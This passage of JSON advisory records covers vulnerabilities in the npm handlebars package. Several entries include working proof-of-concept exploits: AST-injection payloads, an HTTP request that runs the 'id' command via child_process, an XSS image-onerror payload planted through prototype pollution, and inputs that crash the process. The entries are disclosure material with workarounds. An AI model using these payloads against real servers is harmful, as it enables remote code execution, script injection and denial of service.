pipeline.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-27T18:22:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf","https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","https://nvd.nist.gov/vuln/detail/CVE-2026-33941","https://github.com/advisories/GHSA-xjpj-3mr7-gcpf"],"source_kind":"github","identifiers":["GHSA-xjpj-3mr7-gcpf","CVE-2026-33941"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-27T19:00:08.582Z","updated_at":"2026-09-25T12:04:57.635Z","epss_percentage":0.0022,"epss_percentile":0.11,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14anBqLTNtcjctZ2NwZs4ABUYt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14anBqLTNtcjctZ2NwZs4ABUYt","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.7.9","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.7.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14anBqLTNtcjctZ2NwZs4ABUYt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14aHB2LWhjNmctcjljNs4ABUYs","url":"https://github.com/advisories/GHSA-xhpv-hc6g-r9c6","title":"Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial","description":"## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{\u003e (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\nconst vulnerableTemplate = `{{\u003e (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n  payload: {\n    call: true, // bypasses the primary resolvePartial branch\n    type: \"Program\",\n    body: [\n      {\n        type: \"MustacheStatement\",\n        depth: 0,\n        path: {\n          type: \"PathExpression\",\n          parts: [\"pop\"],\n          original: \"this.pop\",\n          // Injected code breaks out of the generated function's argument list\n          depth: \"0])),function () {console.error('VULNERABLE: object -\u003e dynamic partial -\u003e RCE');}()));//\",\n        },\n      },\n    ],\n  },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -\u003e dynamic partial -\u003e RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). Without `compile()`,  the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive  object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{\u003e (lookup ...)}}`) when context data is user-controlled.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-27T18:21:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6","https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","https://nvd.nist.gov/vuln/detail/CVE-2026-33940","https://github.com/advisories/GHSA-xhpv-hc6g-r9c6"],"source_kind":"github","identifiers":["GHSA-xhpv-hc6g-r9c6","CVE-2026-33940"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-27T19:00:08.582Z","updated_at":"2026-09-28T20:04:32.617Z","epss_percentage":0.00791,"epss_percentile":0.54512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aHB2LWhjNmctcjljNs4ABUYs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aHB2LWhjNmctcjljNs4ABUYs","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.7.9","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.7.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aHB2LWhjNmctcjljNs4ABUYs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Y3g2LTM3cG0tOWpmZs4ABUYr","url":"https://github.com/advisories/GHSA-9cx6-37pm-9jff","title":"Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation","description":"## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile('{{*n}}')({});\nHandlebars.compile('{{*decorator}}')({});\nHandlebars.compile('{{*constructor}}')({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n    at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n  ```javascript\n  try {\n    const result = Handlebars.compile(userInput)(context);\n    res.send(result);\n  } catch (err) {\n    res.status(400).send('Invalid template');\n  }\n  ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing  decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled  templates; do not call `compile()` at request time.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-27T18:21:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff","https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","https://nvd.nist.gov/vuln/detail/CVE-2026-33939","https://github.com/advisories/GHSA-9cx6-37pm-9jff"],"source_kind":"github","identifiers":["GHSA-9cx6-37pm-9jff","CVE-2026-33939"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-27T19:00:08.582Z","updated_at":"2026-10-02T15:04:41.912Z","epss_percentage":0.00757,"epss_percentile":0.5351,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Y3g2LTM3cG0tOWpmZs4ABUYr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Y3g2LTM3cG0tOWpmZs4ABUYr","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.7.9","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.7.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Y3g2LTM3cG0tOWpmZs4ABUYr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zbWZtLTgzeGYtYzkycs4ABUYq","url":"https://github.com/advisories/GHSA-3mfm-83xf-c92r","title":"Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block","description":"## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n    {{\u003e@partial-block}}\n    {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n    {{merge @_parent partial-block=1}}\n    {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n  payload: {\n    type: \"Program\",\n    body: [\n      {\n        type: \"MustacheStatement\",\n        depth: 0,\n        path: {\n          type: \"PathExpression\",\n          parts: [\"pop\"],\n          original: \"this.pop\",\n          // Code injected via depth field — breaks out of generated function call\n          depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n        },\n      },\n    ],\n  },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is  absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers  should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in  contexts where templates or context data can be influenced by untrusted input.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-27T18:20:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r","https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","https://nvd.nist.gov/vuln/detail/CVE-2026-33938","https://github.com/advisories/GHSA-3mfm-83xf-c92r"],"source_kind":"github","identifiers":["GHSA-3mfm-83xf-c92r","CVE-2026-33938"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-27T19:00:08.582Z","updated_at":"2026-09-25T12:04:57.636Z","epss_percentage":0.00843,"epss_percentile":0.56116,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zbWZtLTgzeGYtYzkycs4ABUYq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zbWZtLTgzeGYtYzkycs4ABUYq","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.7.9","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.7.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zbWZtLTgzeGYtYzkycs4ABUYq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ydzZ3LTY3NHEtNGM0cc4ABUYp","url":"https://github.com/advisories/GHSA-2w6w-674q-4c4q","title":"Handlebars.js has JavaScript Injection via AST Type Confusion","description":"## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n  let text = req.body.text;\n  let template = Handlebars.compile(text);\n  let result = template();\n  res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"body\": [\n      {\n        \"type\": \"MustacheStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\",\n          \"data\": false,\n          \"depth\": 0,\n          \"parts\": [\"lookup\"],\n          \"original\": \"lookup\",\n          \"loc\": null\n        },\n        \"params\": [\n          {\n            \"type\": \"PathExpression\",\n            \"data\": false,\n            \"depth\": 0,\n            \"parts\": [],\n            \"original\": \"this\",\n            \"loc\": null\n          },\n          {\n            \"type\": \"NumberLiteral\",\n            \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n            \"original\": 1,\n            \"loc\": null\n          }\n        ],\n        \"escaped\": true,\n        \"strip\": { \"open\": false, \"close\": false },\n        \"loc\": null\n      }\n    ]\n  }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== 'string') {\n    throw new TypeError('Template must be a string');\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-03-27T18:19:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q","https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","https://nvd.nist.gov/vuln/detail/CVE-2026-33937","https://github.com/advisories/GHSA-2w6w-674q-4c4q"],"source_kind":"github","identifiers":["GHSA-2w6w-674q-4c4q","CVE-2026-33937"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-27T19:00:08.582Z","updated_at":"2026-09-25T12:04:57.636Z","epss_percentage":0.01736,"epss_percentile":0.76669,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydzZ3LTY3NHEtNGM0cc4ABUYp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ydzZ3LTY3NHEtNGM0cc4ABUYp","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.7.9","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.7.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydzZ3LTY3NHEtNGM0cc4ABUYp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ycXZxLXJqd2otZ3Z3Oc4ABUWg","url":"https://github.com/advisories/GHSA-2qvq-rjwj-gvw9","title":"Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection","description":"## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n   any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = '\u003cimg src=x onerror=\"alert(document.domain)\"\u003e';\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile('\u003cdiv\u003eWelcome! {{\u003e widget}}\u003c/div\u003e');\n\n// Step 3: Render — XSS payload injected unescaped\nconst output = template({});\n// Output: \u003cdiv\u003eWelcome! \u003cimg src=x onerror=\"alert(document.domain)\"\u003e\u003c/div\u003e\n```\n\n\u003e The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype  pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates  and reduces the attack surface.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-26T22:20:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9","https://nvd.nist.gov/vuln/detail/CVE-2021-23369","https://nvd.nist.gov/vuln/detail/CVE-2021-23383","https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","https://nvd.nist.gov/vuln/detail/CVE-2026-33916","https://github.com/advisories/GHSA-2qvq-rjwj-gvw9"],"source_kind":"github","identifiers":["GHSA-2qvq-rjwj-gvw9","CVE-2026-33916"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-26T23:00:10.996Z","updated_at":"2026-09-28T20:04:34.172Z","epss_percentage":0.00382,"epss_percentile":0.29562,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycXZxLXJqd2otZ3Z3Oc4ABUWg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ycXZxLXJqd2otZ3Z3Oc4ABUWg","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.7.9","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.7.9"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycXZxLXJqd2otZ3Z3Oc4ABUWg/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc2NWgtcWp4di01ZjQ0","url":"https://github.com/advisories/GHSA-765h-qjxv-5f44","title":"Prototype Pollution in handlebars","description":"The package handlebars before 4.7.7 are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-02-10T23:51:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-23383","https://github.com/handlebars-lang/handlebars.js/commit/f0589701698268578199be25285b2ebea1c1e427","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1279031","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1279032","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1279030","https://snyk.io/vuln/SNYK-JS-HANDLEBARS-1279029","https://www.npmjs.com/package/handlebars","https://security.netapp.com/advisory/ntap-20210618-0007/","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/handlebars-source/CVE-2021-23383.yml","https://github.com/advisories/GHSA-765h-qjxv-5f44"],"source_kind":"github","identifiers":["GHSA-765h-qjxv-5f44","CVE-2021-23383"],"repository_url":"https://github.com/handlebars-lang/handlebars.js","blast_radius":0.0,"created_at":"2022-12-21T16:13:02.016Z","updated_at":"2026-07-23T21:05:58.035Z","epss_percentage":0.04506,"epss_percentile":0.90509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc2NWgtcWp4di01ZjQ0","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc2NWgtcWp4di01ZjQ0","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.7.7","vulnerable_version_range":"\u003c 4.7.7"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc2NWgtcWp4di01ZjQ0/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYyZ3ItNHFwOS1oOThm","url":"https://github.com/advisories/GHSA-62gr-4qp9-h98f","title":"Regular Expression Denial of Service in Handlebars","description":"Handlebars before 4.4.5 allows Regular Expression Denial of Service (ReDoS) because of eager matching. The parser may be forced into an endless loop while processing crafted templates. This may allow attackers to exhaust system resources.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-10T20:38:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-20922","https://github.com/handlebars-lang/handlebars.js/commit/8d5530ee2c3ea9f0aee3fde310b9f36887d00b8b","https://snyk.io/vuln/SNYK-JS-HANDLEBARS-480388","https://www.npmjs.com/advisories/1300","https://www.npmjs.com/package/handlebars","https://github.com/advisories/GHSA-62gr-4qp9-h98f"],"source_kind":"github","identifiers":["GHSA-62gr-4qp9-h98f","CVE-2019-20922"],"repository_url":"https://github.com/handlebars-lang/handlebars.js","blast_radius":0.0,"created_at":"2022-12-21T16:13:06.322Z","updated_at":"2026-09-28T20:12:25.409Z","epss_percentage":0.03691,"epss_percentile":0.89309,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYyZ3ItNHFwOS1oOThm","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYyZ3ItNHFwOS1oOThm","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.4.5","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.4.5"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYyZ3ItNHFwOS1oOThm/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNjcXItNThybS01N2Y4","url":"https://github.com/advisories/GHSA-3cqr-58rm-57f8","title":"Arbitrary Code Execution in Handlebars","description":"Handlebars before 3.0.8 and 4.x before 4.5.3 is vulnerable to Arbitrary Code Execution. The lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript. This can be used to run arbitrary code on a server processing Handlebars templates or in a victim's browser (effectively serving as XSS).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-10T20:38:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-20920","https://github.com/handlebars-lang/handlebars.js/commit/d54137810a49939fd2ad01a91a34e182ece4528e","https://snyk.io/vuln/SNYK-JS-HANDLEBARS-534478","https://www.npmjs.com/advisories/1316","https://www.npmjs.com/advisories/1324","https://www.npmjs.com/package/handlebars","https://github.com/handlebars-lang/handlebars.js/commit/156061eb7707575293613d7fdf90e2bdaac029ee","https://github.com/advisories/GHSA-3cqr-58rm-57f8"],"source_kind":"github","identifiers":["GHSA-3cqr-58rm-57f8","CVE-2019-20920"],"repository_url":"https://github.com/handlebars-lang/handlebars.js","blast_radius":0.0,"created_at":"2022-12-21T16:13:06.313Z","updated_at":"2026-09-22T08:13:26.353Z","epss_percentage":0.03193,"epss_percentile":0.87523,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNjcXItNThybS01N2Y4","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNjcXItNThybS01N2Y4","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.5.3","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.5.3"},{"first_patched_version":"3.0.8","vulnerable_version_range":"\u003c 3.0.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNjcXItNThybS01N2Y4/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWYyanYtcjlyZi03OTg4","url":"https://github.com/advisories/GHSA-f2jv-r9rf-7988","title":"Remote code execution in handlebars when compiling templates","description":"The package handlebars before 4.7.7 are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted 